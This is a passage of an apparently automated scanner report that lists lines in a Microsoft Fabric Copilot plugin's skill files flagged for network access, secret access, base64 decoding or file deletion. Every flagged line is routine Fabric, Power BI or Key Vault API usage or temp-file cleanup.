    > - [Python logging in notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#python-logging-in-a-notebook) — `logging.getLogger`, log levels, custom formatters

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/SKILL.md

  • Network accessline 79
    - Select exactly one mode from the table above before doing anything else. - Read `references/<mode>.md` end to end, as your FIRST tool call, before the first command of that mode. A reply that only asks a clarifying question, and issues no
  • Network accessline 80
    - Read `references/<mode>.md` end to end, as your FIRST tool call, before the first command of that mode. A reply that only asks a clarifying question, and issues no Fabric call, does not need it yet. - Pass `--resource https://api.fabric.m
  • Network accessline 81
    - Pass `--resource https://api.fabric.microsoft.com` on every `az rest` call — without it the token audience is wrong and the call returns 401.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/references/authoring.md

  • Network accessline 13
    | Long-Running Operations (LRO) | [COMMON-CORE.md § Long-Running Operations (LRO)](../../../common/COMMON-CORE.md#long-running-operations-lro) | Create, getDefinition, updateDefinition may return 202 | | Fabric Item Definitions | [ITEM-DEFI
  • Network accessline 14
    | Fabric Item Definitions | [ITEM-DEFINITIONS-CORE.md § Definition Envelope](../../../common/ITEM-DEFINITIONS-CORE.md#definition-envelope) | Base64-encoded parts structure | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric
  • Network accessline 15
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** |
  • Network accessline 49
    with open('update-body.json', 'w', encoding='utf-8') as f:     f.write(body) # Then: az rest --method POST --url "...updateDefinition" --resource "https://api.fabric.microsoft.com" --body @update-body.json
  • Network accessline 51
    # Then: az rest --method POST --url "...updateDefinition" --resource "https://api.fabric.microsoft.com" --body @update-body.json
  • Possible obfuscationline 57
    entities = json.loads(base64.b64decode(part['payload']).decode('utf-8'))
  • Network accessline 94
    DEFINITION=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 95
    "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 283
    - **Confirm a real source before authoring** -- follow the [Source Validation Gate](#source-validation-gate): resolve the source in the requested workspace, validate the requested signal column/field, and observe at least one representative
  • Network accessline 284
    - **Always use `--resource https://api.fabric.microsoft.com`** with `az rest` — without it, token audience is wrong

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/references/authoring/powerbi-source.md

  • Network accessline 165
    az rest --method POST \      --url "https://api.fabric.microsoft.com/v1/workspaces/${REPORT_WS_ID}/reports/${REPORT_ID}/getDefinition" \
  • Network accessline 166
    --url "https://api.fabric.microsoft.com/v1/workspaces/${REPORT_WS_ID}/reports/${REPORT_ID}/getDefinition" \
  • Network accessline 167
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 175
    az rest --method POST \      --url "https://api.fabric.microsoft.com/v1/workspaces/${MODEL_WS_ID}/semanticModels/${DATASET_ID}/getDefinition" \
  • Network accessline 176
    --url "https://api.fabric.microsoft.com/v1/workspaces/${MODEL_WS_ID}/semanticModels/${DATASET_ID}/getDefinition" \
  • Network accessline 177
    --resource "https://api.fabric.microsoft.com" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli/references/consumption.md

  • Network accessline 15
    | Fabric Item Definitions | [ITEM-DEFINITIONS-CORE.md § Definition Envelope](../../../common/ITEM-DEFINITIONS-CORE.md#definition-envelope) | Base64 payload structure | | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../.
  • Network accessline 16
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest]
  • Network accessline 17
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** |
  • Network accessline 52
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \
  • Network accessline 53
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \
  • Network accessline 54
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 65
    NEXT_URL="https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes"
  • Network accessline 67
    RESPONSE=$(az rest --method GET      --url "$NEXT_URL"      --resource "https://api.fabric.microsoft.com")
  • Network accessline 69
    --resource "https://api.fabric.microsoft.com")
  • Network accessline 78
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes?recursive=true&rootFolderId=${FOLDER_ID}" \
  • Network accessline 79
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes?recursive=true&rootFolderId=${FOLDER_ID}" \
  • Network accessline 80
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 89
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}" \
  • Network accessline 90
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}" \
  • Network accessline 91
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 104
    DEFINITION=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 105
    "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 116
    DEFINITION=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 117
    "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 270
    - **Always use `--resource https://api.fabric.microsoft.com`** with `az rest`
  • Network accessline 301
    # Step 1: List activators az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \
  • Network accessline 302
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes"
  • Network accessline 303
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \
  • Network accessline 304
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 307
    # Step 2: For a specific activator, get and decode its definition az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 308
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition"
  • Network accessline 309
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 310
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 321
    # Decode definition and extract rule details az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 322
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition"
  • Network accessline 323
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \
  • Network accessline 324
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 356
    https://api.fabric.microsoft.com/v1/mcp/workspaces/{workspaceId}/reflexes/{activatorId}

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/SKILL.md

  • Network accessline 141
    - Azure Resource Graph - Fabric REST **read-only** discovery via authenticated `az rest --method get`   against `https://api.fabric.microsoft.com/...` (discovery/read-only only)
  • Network accessline 142
    - Fabric REST **read-only** discovery via authenticated `az rest --method get`   against `https://api.fabric.microsoft.com/...` (discovery/read-only only) - Other documented supported capabilities available to the agent
  • Network accessline 143
    against `https://api.fabric.microsoft.com/...` (discovery/read-only only)
  • Network accessline 146
    **Log Analytics REST API reference (agent-facing).** When the Skill needs to perform or validate Azure Log Analytics operations, it may consult the official [Log Analytics REST APIs](https://learn.microsoft.com/en-us/rest/api/loganalytics/)
  • Network accessline 157
    5. **Fabric REST read-only discovery via authenticated `az rest --method get`** —    a narrow, permitted exception used ONLY for Fabric discovery/read against    `https://api.fabric.microsoft.com/...`. It is GET-only, never creates,
  • Network accessline 158
    a narrow, permitted exception used ONLY for Fabric discovery/read against    `https://api.fabric.microsoft.com/...`. It is GET-only, never creates,    updates, deletes, or modifies anything, and never exposes tokens, secrets,
  • Network accessline 159
    `https://api.fabric.microsoft.com/...`. It is GET-only, never creates,
  • Network accessline 313
    - The endpoint is `https://api.fabric.microsoft.com/...`.
  • Network accessline 329
    - `GET https://api.fabric.microsoft.com/v1/workspaces/{id}` (detect), and
  • Network accessline 330
    - `POST https://api.fabric.microsoft.com/v1/workspaces/{id}/provisionIdentity`

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/azmon-fabric-api-reference.md

  • Network accessline 46
    - Azure Resource Graph - Fabric REST **read-only** discovery via authenticated `az rest --method get`   against `https://api.fabric.microsoft.com/...`
  • Network accessline 48
    against `https://api.fabric.microsoft.com/...`
  • Network accessline 58
    - Endpoint is `https://api.fabric.microsoft.com/...`.
  • Network accessline 94
    - **List connections** (detection): `GET https://api.fabric.microsoft.com/v1/connections`
  • Network accessline 98
    (`ServicePrincipal` for Mode A, `OAuth2` for Mode B). Returns only connections   the caller holds a role on.   [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections)
  • Network accessline 99
    the caller holds a role on.   [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections) - **Get a connection**: `GET https://api.fabric.microsoft.com/v1/connections/{connectionId}`.
  • Network accessline 100
    [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections)
  • Network accessline 101
    - **Get a connection**: `GET https://api.fabric.microsoft.com/v1/connections/{connectionId}`.
  • Network accessline 102
    [Get Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/get-connection)
  • Network accessline 103
    - **Discover the exact connector shape** (authoritative — resolves the Azure   Monitor `type`, `creationMethod`, and required `parameters` instead of guessing):   `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes
  • Network accessline 104
    Monitor `type`, `creationMethod`, and required `parameters` instead of guessing):   `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true`   — each entry gives `type`, `creationMethods[].n
  • Network accessline 105
    `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true`
  • Network accessline 108
    `supportedCredentialTypes`. Find the Azure Monitor / Log Analytics entry and use   its returned `type` + `creationMethod` + `parameters` **verbatim**.   [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/cor
  • Network accessline 109
    its returned `type` + `creationMethod` + `parameters` **verbatim**.   [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-supported-connection-types) - **Create a connection** (Service P
  • Network accessline 110
    [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-supported-connection-types)
  • Network accessline 111
    - **Create a connection** (Service Principal / Mode A):   `POST https://api.fabric.microsoft.com/v1/connections` with this documented   skeleton — fill `type` / `creationMethod` / `parameters` from the
  • Network accessline 112
    `POST https://api.fabric.microsoft.com/v1/connections` with this documented
  • Network accessline 143
    or a `servicePrincipalSecret` supplied from an env var — **never** pasted into   chat, logged, or echoed.   [Create Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection)
  • Network accessline 145
    [Create Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection)
  • Network accessline 244
    Actions, Fabric / OneLake / Power BI execution capabilities, authenticated   Fabric REST read-only discovery via `az rest --method get` against   `https://api.fabric.microsoft.com/...` (GET-only, read-only, no modifications,
  • Network accessline 245
    Fabric REST read-only discovery via `az rest --method get` against   `https://api.fabric.microsoft.com/...` (GET-only, read-only, no modifications,   no secret/token/header exposure, capability path stated), or any other
  • Network accessline 246
    `https://api.fabric.microsoft.com/...` (GET-only, read-only, no modifications,
  • Network accessline 271
    - [Items - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/items)
  • Network accessline 272
    - [Mirrored Catalog item definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-catalog-definition)
  • Network accessline 273
    - [Discovery - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/discovery)
  • Network accessline 274
    - [Monitoring - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/monitoring)
  • Network accessline 275
    - [Refresh - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/refresh)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/dashboard-reference.md

  • Network accessline 42
    The Microsoft Learn [KQL dashboard definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/kql-dashboard-definition)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/eventhouse-shortcuts-reference.md

  • Network accessline 131
    Query acceleration is a [policy on external delta tables](https://learn.microsoft.com/en-us/kusto/management/query-acceleration-policy?view=microsoft-fabric)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/mirrored-catalog-reference.md

  • Network accessline 42
    - [Items - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/items)
  • Network accessline 50
    - [Mirrored Catalog item definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-catalog-definition)
  • Network accessline 71
    - [Discovery - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/discovery)
  • Network accessline 92
    - [Monitoring - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/monitoring)
  • Network accessline 100
    - [Refresh - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/refresh)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/oauth-connection-reference.md

  • Network accessline 17
    1. A surfaced Fabric REST / Fabric Actions capability, if available.   2. Authenticated Fabric REST read-only discovery via `az rest --method get`      against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is
  • Network accessline 18
    2. Authenticated Fabric REST read-only discovery via `az rest --method get`      against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is      available and permitted under the read-only Fabric REST discovery exception
  • Network accessline 19
    against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/operations-agent-reference.md

  • Network accessline 174
    > OperationsAgent API supports a **User (delegated) identity only** — **service > principal and managed identity are NOT supported** > ([Microsoft Learn: Create Operations Agent](https://learn.microsoft.com/en-us/rest/api/fabric/operationsa
  • Network accessline 175
    > principal and managed identity are NOT supported** > ([Microsoft Learn: Create Operations Agent](https://learn.microsoft.com/en-us/rest/api/fabric/operationsagent/items/create-operations-agent) > — Microsoft Entra supported identities: Us
  • Network accessline 176
    > ([Microsoft Learn: Create Operations Agent](https://learn.microsoft.com/en-us/rest/api/fabric/operationsagent/items/create-operations-agent)
  • Network accessline 233
    https://learn.microsoft.com/en-us/fabric/real-time-intelligence/operations-agent
  • Network accessline 239
    https://techcommunity.microsoft.com/blog/analyticsonazure/microsoft-fabric-operations-agent-step-by-step-walkthrough/4512572

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/telemetry-table-reference.md

  • Network accessline 15
    - [Azure Monitor tables for microsoft.insights/components (learn)](https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/microsoft-insights-components)
  • Network accessline 16
    - [Azure Monitor Logs table reference](https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/workspace-discovery-policy-reference.md

  • Network accessline 18
    - Fabric / OneLake / Power BI execution capabilities, if surfaced.    - Authenticated Fabric REST **read-only** discovery via `az rest --method get`      against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is
  • Network accessline 19
    - Authenticated Fabric REST **read-only** discovery via `az rest --method get`      against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is      available and permitted under the read-only Fabric REST discovery exception
  • Network accessline 20
    against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/workspace-identity-connection-reference.md

  • Network accessline 16
    Monitor connector. Before proceeding, confirm `WorkspaceIdentity` appears in the Azure Monitor entry's `supportedCredentialTypes` from `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true
  • Network accessline 17
    Azure Monitor entry's `supportedCredentialTypes` from `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true`. If absent, tell the user this option isn't available for this connector and of
  • Network accessline 18
    `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true`.
  • Network accessline 24
    1. **Detect the identity.** `GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}`
  • Network accessline 27
    2. **Provision if absent (confirmation-gated).** Caller must have the workspace    **Admin** role and delegated `Workspace.ReadWrite.All`. On confirmation:    `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/provisionIdent
  • Network accessline 28
    **Admin** role and delegated `Workspace.ReadWrite.All`. On confirmation:    `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/provisionIdentity`.    `200` returns `{ applicationId, servicePrincipalId }`; `202` is a long-run
  • Network accessline 29
    `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/provisionIdentity`.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/SKILL.md

  • Network accessline 231
    # Fabric (scope → Key Vault URL, key → secret name) pwd = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "db-password")
  • Network accessline 232
    pwd = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "db-password")

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/resources/code-patterns.md

  • Network accessline 67
    # AFTER — Fabric KV_URL = "https://prod-keyvault.vault.azure.net/"
  • Network accessline 68
    KV_URL = "https://prod-keyvault.vault.azure.net/"

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/resources/dbutils-to-notebookutils.md

  • Network accessline 37
    | `dbutils.fs.head(path, maxBytes=65536)` | `notebookutils.fs.head(path, max_bytes=102400)` | ⚠<U+FE0F> **Default differs**: Python/Scala `102400` (100 KB), R `65535` (Scala uses `maxBytes`) | | `dbutils.fs.append(path, contents, createIfNotExists
  • Network accessline 38
    | `dbutils.fs.append(path, contents, createIfNotExists)` | `notebookutils.fs.append(file, content, createFileIfNotExists=False)` | **Equivalent**. Add `time.sleep(0.5)` between writes in loops (async flush) | | `dbutils.fs.mount(source, mou
  • Network accessline 39
    | `dbutils.fs.mount(source, mountPoint, …)` | `notebookutils.fs.mount(source, mountPoint, extraConfigs=None)` | ✅ **Supported**. Microsoft Entra (default), `accountKey`, or `sasToken` auth. `extraConfigs` also accepts `timeout` (default 30 
  • Network accessline 44
    | `dbutils.fs.help()` | `notebookutils.fs.help()` | **Identical** | | _(no dbutils equivalent)_ | `notebookutils.fs.exists(path)` | New — prefer over try/except for existence checks | | _(no dbutils equivalent)_ | `notebookutils.fs.fastcp(s
  • Network accessline 45
    | _(no dbutils equivalent)_ | `notebookutils.fs.exists(path)` | New — prefer over try/except for existence checks | | _(no dbutils equivalent)_ | `notebookutils.fs.fastcp(src, dest, recurse=True, extraConfigs=None)` | New — azcopy-backed; u
  • Network accessline 46
    | _(no dbutils equivalent)_ | `notebookutils.fs.fastcp(src, dest, recurse=True, extraConfigs=None)` | New — azcopy-backed; use for large/bulk copies. Doesn't work across OneLake regions — fall back to `cp`. For S3/GCS-typed OneLake Shortcut
  • Network accessline 104
    # Auth via account key from Key Vault account_key = notebookutils.credentials.getSecret("https://my-kv.vault.azure.net/", "storageKey")
  • Network accessline 105
    account_key = notebookutils.credentials.getSecret("https://my-kv.vault.azure.net/", "storageKey")
  • Network accessline 112
    [Credential-related source omitted]
  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 128
    # Create a OneLake Shortcut once (Portal or REST API): # https://learn.microsoft.com/fabric/onelake/onelake-shortcuts
  • Network accessline 129
    # https://learn.microsoft.com/fabric/onelake/onelake-shortcuts
  • Access to secretsline 159
    [Credential-related source omitted]
  • Network accessline 161
    [Credential-related source omitted]
  • Network accessline 162
    [Credential-related source omitted]
  • Network accessline 163
    "https://my-keyvault.vault.azure.net/",
  • Network accessline 165
    [Credential-related source omitted]
  • Network accessline 166
    [Credential-related source omitted]
  • Access to secretsline 166
    [Credential-related source omitted]
  • Network accessline 167
    "https://my-keyvault.vault.azure.net/",
  • Network accessline 180
    | `dbutils.notebook` Method | `notebookutils.notebook` Equivalent | Notes | |---|---|---| | `dbutils.notebook.run(path, timeout, arguments)` | `notebookutils.notebook.run(path, timeout_seconds=90, arguments=None, workspace="")` | `path` is 
  • Network accessline 181
    |---|---|---| | `dbutils.notebook.run(path, timeout, arguments)` | `notebookutils.notebook.run(path, timeout_seconds=90, arguments=None, workspace="")` | `path` is the child notebook **name**. `workspace` is the **workspace ID** for cross-w
  • Network accessline 182
    | `dbutils.notebook.run(path, timeout, arguments)` | `notebookutils.notebook.run(path, timeout_seconds=90, arguments=None, workspace="")` | `path` is the child notebook **name**. `workspace` is the **workspace ID** for cross-workspace runs 
  • Network accessline 270
    > ⚠<U+FE0F> **Caveats** (per [docs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-variable-library)): `notebookutils.variableLibrary` is **same-workspace only** — cross-workspace reads (including child noteb
  • Network accessline 347
    `notebookutils.runtime.context` returns a read-only map. Property names use the `current*` / `default*` / `root*` prefix — they are **not** the same names as Databricks tags. The sample below shows the most common keys; the full key list (i

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring.md

  • Network accessline 80
    # List workspaces — find workspace ID by name az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 81
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 82
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 83
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 87
    WS_ID="<workspaceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 88
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 89
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 90
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" \
  • Network accessline 97
    WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 98
    DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 99
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 100
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 120
    1. **List existing connections** and filter by `connectionDetails.type` and the target URL/host — reuse if a match exists (`GET /v1/connections` + JMESPath). 2. **If no match, create the connection.** First `GET /v1/connections/supportedCon
  • Network accessline 121
    2. **If no match, create the connection.** First `GET /v1/connections/supportedConnectionTypes` to discover required parameters and supported credential types, then `POST /v1/connections` (sync 201). Body shape and credential schemas: [conn
  • Network accessline 122
    3. **Resolve `ClusterId` for the composite binding.** `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` with `--query "value[?id=='$CONN_ID'] | [0].clusterId"`, audience `--resource "https://analysis.windows.net/powerbi/
  • Network accessline 134
    WS_ID="<workspaceId>"; URL="<source-url>" RES="https://api.fabric.microsoft.com"; API="$RES/v1"
  • Network accessline 135
    RES="https://api.fabric.microsoft.com"; API="$RES/v1"
  • Network accessline 136
    PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 143
    # 3. List+filter for ClusterId CLUSTER_ID=$(az rest --method get --resource "$PBI" \   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Network accessline 144
    CLUSTER_ID=$(az rest --method get --resource "$PBI"    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources"
  • Network accessline 145
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Dangerous shell operationline 155
    rm -f "$SHELL_BODY"
  • Network accessline 179
    # Concise skeleton — full templates: references/authoring-script-templates.md # Acquire $TOKEN per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = $RESOURCE). RESOURCE="https://api.fabric.microsoft.com"; API="$RESOURCE/v1"
  • Network accessline 181
    RESOURCE="https://api.fabric.microsoft.com"; API="$RESOURCE/v1"
  • Network accessline 183
    [Credential-related source omitted]
  • Network accessline 184
    [Credential-related source omitted]
  • Network accessline 185
    [Credential-related source omitted]
  • Dangerous shell operationline 202
    rm -f "$HDR" "$BODY"
  • Network accessline 213
    # 2-3. Formulate & Execute — see Example 3 # 4. Verify — trigger refresh via curl (az rest cannot capture Location header).
  • Network accessline 214
    # 4. Verify — trigger refresh via curl (az rest cannot capture Location header).
  • Network accessline 254
    # Skeleton — full PowerShell recipe: references/output-destinations.md § Complete Example WS_ID="<workspaceId>"; LH_ID="<lakehouseId>"; RES="https://api.fabric.microsoft.com"
  • Network accessline 255
    WS_ID="<workspaceId>"; LH_ID="<lakehouseId>"; RES="https://api.fabric.microsoft.com"
  • Network accessline 274
    - **Offer to preview every entity before the first refresh of a new dataflow** — after creating the shell and binding connections via `updateDefinition` (which persists the definition), ask the user if they want to see preview charts before
  • Network accessline 275
    - **`az login` first** — all `az rest` calls use the active session. No session → 401. - **Use `--resource "https://api.fabric.microsoft.com"` for Fabric APIs.** For Power BI v2 (`gatewayClusterDatasources`), use `--resource "https://analys
  • Network accessline 276
    - **Use `--resource "https://api.fabric.microsoft.com"` for Fabric APIs.** For Power BI v2 (`gatewayClusterDatasources`), use `--resource "https://analysis.windows.net/powerbi/api"` **without a trailing slash** — the slashed form fails `AAD
  • Network accessline 300
    - **Using `GET /v1/workspaces/{ws}/items/{itemId}/connections` to verify a freshly-bound dataflow.** It reflects refresh-materialized state, **not** the persisted definition, and returns 0 after a successful bind. Verify via `getDefinition`
  • Network accessline 301
    - **Assuming `updateDefinition` / `POST /dataflows` is always LRO.** Typical responses are sync (200/201); handle both shapes — see MUST DO above. - **Requesting the PBI v2 token with a trailing slash** (`--resource "https://analysis.window
  • Network accessline 302
    - **Requesting the PBI v2 token with a trailing slash** (`--resource "https://analysis.windows.net/powerbi/api/"`) — fails `AADSTS500011 invalid_resource`. Use the no-slash form.
  • Network accessline 333
    | Symptom | Fix | |---|---| | 401 Unauthorized | Verify `az login` is active; check `--resource "https://api.fabric.microsoft.com"` (or `https://analysis.windows.net/powerbi/api` **no trailing slash** for PBI v2). |
  • Network accessline 334
    |---|---| | 401 Unauthorized | Verify `az login` is active; check `--resource "https://api.fabric.microsoft.com"` (or `https://analysis.windows.net/powerbi/api` **no trailing slash** for PBI v2). | | 405 Method Not Allowed on `getDefinition
  • Network accessline 335
    | 401 Unauthorized | Verify `az login` is active; check `--resource "https://api.fabric.microsoft.com"` (or `https://analysis.windows.net/powerbi/api` **no trailing slash** for PBI v2). |
  • Network accessline 339
    | `executeQuery` → 400 `DataflowExecuteQueryError: ErrorCode: QueryNotFound` | The value of `QueryName` doesn't match any `shared` member of the persisted M or supplied `customMashupDocument`. List queries via `getDefinition` → decode `mash
  • Network accessline 340
    | `GET /items/{id}/connections` returns 0 after a successful bind | That endpoint reflects refresh-materialized state, not the definition. Verify via `getDefinition` → decode `queryMetadata.json.connections[]`. | | 404 / `PowerBIEntityNotFo
  • Network accessline 341
    | 404 / `PowerBIEntityNotFound` fetching `ClusterId` from `gatewayClusterDatasources/{id}` | Per-id route does not resolve cloud connections. Use list + filter: `GET .../gatewayClusterDatasources --query "value[?id=='$CONN_ID'] \| [0].clust
  • Network accessline 350
    | Base64 decode produces garbage | Strip trailing newlines; use `base64 -w0` (Linux). | | Inline `--body "<json>"` returns 400 / empty body on Windows | `cmd.exe` arg parser mangles quotes when launching `az.exe`. Write to `$env:TEMP\body.j
  • Network accessline 352
